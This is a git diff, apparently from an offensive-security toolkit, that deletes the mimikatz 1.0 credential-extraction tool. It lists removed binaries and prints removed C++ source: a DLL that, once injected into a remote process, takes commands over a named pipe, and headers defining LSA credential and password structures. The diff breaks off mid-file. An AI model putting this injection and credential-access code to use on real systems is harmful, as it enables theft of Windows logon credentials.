a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib deleted file mode 100644 index 5328cbd8..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll deleted file mode 100644 index d78b442d..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/klock.dll and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp deleted file mode 100644 index 947406f8..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/klock.exp and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib deleted file mode 100644 index 40c5c8d3..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/klock.lib and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll b/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll deleted file mode 100644 index 028d15a6..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe deleted file mode 100644 index d92b2f74..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp deleted file mode 100644 index 0de4a90a..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib deleted file mode 100644 index b98eea9b..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll deleted file mode 100644 index 0cb96386..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp deleted file mode 100644 index a7fd6eb5..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib deleted file mode 100644 index cdcf2b53..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/globdefs.h b/Exfiltration/mimikatz-1.0/commun/globdefs.h deleted file mode 100644 index d579a3be..00000000 --- a/Exfiltration/mimikatz-1.0/commun/globdefs.h +++ /dev/null @@ -1,128 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#pragma warning(disable:4530) -#include -#include -#include -#include -#include -using namespace std; - -#define SECURITY_WIN32 -#define PAGE_SIZE 0x1000 -#define MAX_DOMAIN_LEN 24 -#define MAX_USERNAME_LEN 24 - -#define MIMIKATZ L"mimikatz" -#ifdef _M_X64 - #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)" -#else ifdef - #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)" -#endif - -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) -#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) -#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) - -#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) -#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) -#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) - -#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;} - -typedef bool (* PKIWI_LOCAL_COMMAND) (vector * arguments); - -typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND { - PKIWI_LOCAL_COMMAND ptrCommand; - wstring commandName; - wstring commandHelp; - _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {} - _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {} -} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND; - -typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE { - wstring module; - wstring description; - vector commandes; - _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {} -} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE; - -typedef struct _CLIENT_ID { - PVOID UniqueProcess; - PVOID UniqueThread; -} CLIENT_ID, *PCLIENT_ID; - -typedef const ULONG CLONG; -typedef const UNICODE_STRING *PCUNICODE_STRING; -typedef STRING OEM_STRING; -typedef PSTRING POEM_STRING; -typedef CONST STRING* PCOEM_STRING; - -/* System* */ -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]); -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]); -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]); -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]); -/* CNG */ -typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); -typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); -typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); - -typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); -typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); - -/* Rtl* */ -#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) -typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId); -typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString); -typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString); -typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); -typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString); -typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); -typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct); -typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize); -typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); - -typedef struct _RTL_BALANCED_LINKS { - struct _RTL_BALANCED_LINKS *Parent; - struct _RTL_BALANCED_LINKS *LeftChild; - struct _RTL_BALANCED_LINKS *RightChild; - CHAR Balance; - UCHAR Reserved[3]; -} RTL_BALANCED_LINKS; -typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; - -typedef enum _RTL_GENERIC_COMPARE_RESULTS { - GenericLessThan, - GenericGreaterThan, - GenericEqual -} RTL_GENERIC_COMPARE_RESULTS; - -typedef struct _RTL_AVL_TABLE { - RTL_BALANCED_LINKS BalancedRoot; - PVOID OrderedPointer; - ULONG WhichOrderedElement; - ULONG NumberGenericTableElements; - ULONG DepthOfTree; - PRTL_BALANCED_LINKS RestartKey; - ULONG DeleteCount; - PRTL_AVL_COMPARE_ROUTINE CompareRoutine; - PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; - PRTL_AVL_FREE_ROUTINE FreeRoutine; - PVOID TableContext; -} RTL_AVL_TABLE, *PRTL_AVL_TABLE; diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico deleted file mode 100644 index 9ac92da7..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico deleted file mode 100644 index 79edffc3..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico deleted file mode 100644 index 2285d1c9..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico deleted file mode 100644 index 745963e4..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico deleted file mode 100644 index 7497143b..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico deleted file mode 100644 index 07df30ff..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico deleted file mode 100644 index 67b1100c..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico deleted file mode 100644 index 6d7f787b..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico deleted file mode 100644 index 805707af..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico deleted file mode 100644 index a1c08e56..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico deleted file mode 100644 index ea38a489..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico deleted file mode 100644 index 27adde36..00000000 Binary files a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp deleted file mode 100644 index a87ea8f7..00000000 --- a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp +++ /dev/null @@ -1,139 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kmodel.h" - -HMODULE g_hModule = NULL; - -BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) -{ - if (ul_reason_for_call == DLL_PROCESS_ATTACH) - { - g_hModule = hModule; - - HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL); - if(hThread && hThread != INVALID_HANDLE_VALUE) - { - return CloseHandle(hThread); - } - } - return TRUE; -} - -DWORD WINAPI ThreadProc(LPVOID lpParameter) -{ - mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); - - bool succes = false; - for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++) - { - succes = monCommunicator->createClient(); - if(!succes) - { - Sleep(3000); - } - } - - if(succes) - { - ptrFunctionString maFonctionString = reinterpret_cast(GetProcAddress(g_hModule, "getDescription")); - - wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi"; - if(maFonctionString) - { - wstring * maDescription = new wstring(); - if(maFonctionString(maDescription)) - { - monBuffer.append(L"\n\n"); - monBuffer.append(*maDescription); - } - delete maDescription; - } - - - - if(monCommunicator->writeToPipe(monBuffer)) - { - for(;;) - { - if(monCommunicator->readFromPipe(monBuffer)) - { - wstring fonction = monBuffer; - vector arguments; - - size_t monIndex = fonction.find(L' '); - - if(monIndex != wstring::npos) - { - arguments = mod_parseur::parse(fonction.substr(monIndex + 1)); - fonction = fonction.substr(0, monIndex); - } - - string procDll(fonction.begin(), fonction.end()); - - ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str())); - - if(maFonction) - { - if(maFonction(monCommunicator, &arguments)) - { - monBuffer = L"@"; - } - else // La fonction retourn FALSE, il y a donc anomalie bloquante sur le canal - { - break; - } - } - else - { - monBuffer = L"@Mthode \'"; - monBuffer.append(fonction); - monBuffer.append(L"\' introuvable !\n"); - } - - if(!monCommunicator->writeToPipe(monBuffer)) - { - break; - } - } - else - { - break; - } - } - } - } - - delete monCommunicator; - - FreeLibraryAndExitThread(g_hModule, 0); - return 0; -} - -bool sendTo(mod_pipe * monPipe, wstring message) -{ - wstring reponse = L"#"; - reponse.append(message); - - return monPipe->writeToPipe(reponse); -} - - -__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments) -{ - bool sendOk = sendTo(monPipe, L"pong"); - - for(vector::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++) - { - wstring maReponse = L" - argument:"; - maReponse.append(*monArgument); - sendOk = sendTo(monPipe, maReponse); - } - - if(sendOk) - sendOk = sendTo(monPipe, L"\n"); - - return sendOk; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h deleted file mode 100644 index 65bd9129..00000000 --- a/Exfiltration/mimikatz-1.0/commun/kmodel.h +++ /dev/null @@ -1,21 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_pipe.h" -#include "mod_parseur.h" - -#define __kextdll extern "C" __declspec(dllexport) - -typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector * mesArguments); -typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription); - -BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); -DWORD WINAPI ThreadProc(LPVOID lpParameter); - -bool sendTo(mod_pipe * monPipe, wstring message); - -__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h deleted file mode 100644 index 385307db..00000000 --- a/Exfiltration/mimikatz-1.0/commun/secpkg.h +++ /dev/null @@ -1,239 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL -{ - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING Domaine; - LSA_UNICODE_STRING Password; -} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL; - -typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) (); - -typedef PVOID *PLSA_CLIENT_REQUEST; -typedef LPTHREAD_START_ROUTINE SEC_THREAD_START; -typedef LPSECURITY_ATTRIBUTES SEC_ATTRS; - -typedef struct _SECPKG_CLIENT_INFO { - LUID LogonId; // Effective Logon Id - ULONG ProcessID; // Process Id of caller - ULONG ThreadID; // Thread Id of caller - BOOLEAN HasTcbPrivilege; // Client has TCB - BOOLEAN Impersonating; // Client is impersonating - BOOLEAN Restricted; // Client is restricted - // NT 5.1 - UCHAR ClientFlags; // Extra flags about the client - SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client - // NT 6 - HANDLE ClientToken; -} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO; - -typedef enum _LSA_TOKEN_INFORMATION_TYPE { - LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type - LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type - LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type -} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE; - -typedef enum _SECPKG_NAME_TYPE { - SecNameSamCompatible, - SecNameAlternateId, - SecNameFlat, - SecNameDN, - SecNameSPN -} SECPKG_NAME_TYPE; - -typedef struct _SECPKG_CALL_INFO { - ULONG ProcessId; - ULONG ThreadId; - ULONG Attributes; - ULONG CallCount; - PVOID MechOid; // mechanism objection identifer -} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO; - -typedef enum _SECPKG_SESSIONINFO_TYPE { - SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED -} SECPKG_SESSIONINFO_TYPE; - -typedef struct _SECPKG_PRIMARY_CRED { - LUID LogonId; - UNICODE_STRING DownlevelName; // Sam Account Name - UNICODE_STRING DomainName; // Netbios domain name where account is located - UNICODE_STRING Password; - UNICODE_STRING OldPassword; - PSID UserSid; - ULONG Flags; - UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) - UNICODE_STRING Upn; // UPN of account (if known) - UNICODE_STRING LogonServer; - UNICODE_STRING Spare1; - UNICODE_STRING Spare2; - UNICODE_STRING Spare3; - UNICODE_STRING Spare4; -} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; - -typedef struct _SECPKG_SUPPLEMENTAL_CRED { - UNICODE_STRING PackageName; - ULONG CredentialSize; -#ifdef MIDL_PASS - [size_is(CredentialSize)] -#endif // MIDL_PASS - PUCHAR Credentials; -} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED; - -typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY { - ULONG CredentialCount; -#ifdef MIDL_PASS - [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*]; -#else // MIDL_PASS - SECPKG_SUPPLEMENTAL_CRED Credentials[1]; -#endif // MIDL_PASS -} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY; - -typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer); - -typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId); -typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId); -typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials); -typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials); -typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue); -typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length); -typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base); -typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length); -typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base); -typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress); -typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress); -typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy); -typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress); -typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID); -typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID); -typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle); -typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous); -typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId); -typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo); -typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent); -typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle); -typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer); -typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); -typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); -typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId); -typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); -typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); -typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING 